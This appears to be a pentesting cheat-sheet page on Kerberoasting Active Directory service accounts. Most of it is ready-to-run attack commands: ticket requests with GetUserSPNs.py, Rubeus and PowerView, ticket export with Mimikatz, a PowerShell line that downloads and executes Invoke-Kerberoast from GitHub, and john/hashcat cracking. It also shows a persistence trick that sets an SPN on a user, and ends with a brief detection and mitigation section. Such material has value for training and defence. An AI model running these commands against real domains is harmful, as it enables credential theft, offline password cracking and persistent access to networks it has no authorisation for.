# Kerberoast
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## Kerberoast
The goal of **Kerberoasting** is to harvest **TGS tickets for services that run on behalf of user accounts** in the AD, not computer accounts. Thus, **part** of these TGS **tickets are** **encrypted** with **keys** derived from user passwords. As a consequence, their credentials could be **cracked offline**.\
You can know that a **user account** is being used as a **service** because the property **"ServicePrincipalName"** is **not null**.
Therefore, to perform Kerberoasting, only a domain account that can request for TGSs is necessary, which is anyone since no special privileges are required.
**You need valid credentials inside the domain.**
### **Attack**
{% hint style="warning" %}
**Kerberoasting tools** typically request **`RC4 encryption`** when performing the attack and initiating TGS-REQ requests. This is because **RC4 is** [**weaker**](https://www.stigviewer.com/stig/windows\_10/2017-04-28/finding/V-63795) and easier to crack offline using tools such as Hashcat than other encryption algorithms such as AES-128 and AES-256.\
RC4 (type 23) hashes begin with **`$krb5tgs$23$*`** while AES-256(type 18) start with **`$krb5tgs$18$*`**`.`
{% endhint %}
#### **Linux**
```bash
msf> use auxiliary/gather/get_user_spns
GetUserSPNs.py -request -dc-ip 192.168.2.160 / -outputfile hashes.kerberoast # Password will be prompted
GetUserSPNs.py -request -dc-ip 192.168.2.160 -hashes : / -outputfile hashes.kerberoast
```
#### Windows
* **Enumerate Kerberoastable users**
```powershell
# Get Kerberoastable users
setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberoast /stats
```
* **Technique 1: Ask for TGS and dump it from memory**
```powershell
#Get TGS in memory from a single user
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local
#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
#List kerberos tickets in memory
klist
# Extract them from memory
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder
# Transform kirbi ticket to john
python2.7 kirbi2john.py sqldev.kirbi
# Transform john to hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
```
* **Technique 2: Automatic tools**
```bash
# Powerview: Get Kerberoast hash of a user
Request-SPNTicket -SPN "" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Get all Kerberoast hashes
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins
# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
```
{% hint style="warning" %}
When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated.
{% endhint %}
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### Cracking
```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
```
### Persistence
If you have **enough permissions** over a user you can **make it kerberoastable**:
```bash
Set-DomainObject -Identity -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose
```
You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC: `ntpdate `
### Mitigation
Kerberoast is very stealthy if exploitable
* Security Event ID 4769 – A Kerberos ticket was requested
* Since 4769 is very frequent, lets filter the results:
* Service name should not be krbtgt
* Service name does not end with $ (to filter out machine accounts used for services)
* Account name should not be machine@domain (to filter out requests from machines)
* Failure code is '0x0' (to filter out failures, 0x0 is success)
* Most importantly, ticket encryption type is 0x17
* Mitigation:
* Service Account Passwords should be hard to guess (greater than 25 characters)
* Use Managed Service Accounts (Automatic change of password periodically and delegated SPN Management)
```bash
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message
```
**More information about Kerberoasting in ired.team in** [**here** ](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting)**and** [**here**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled)**.**
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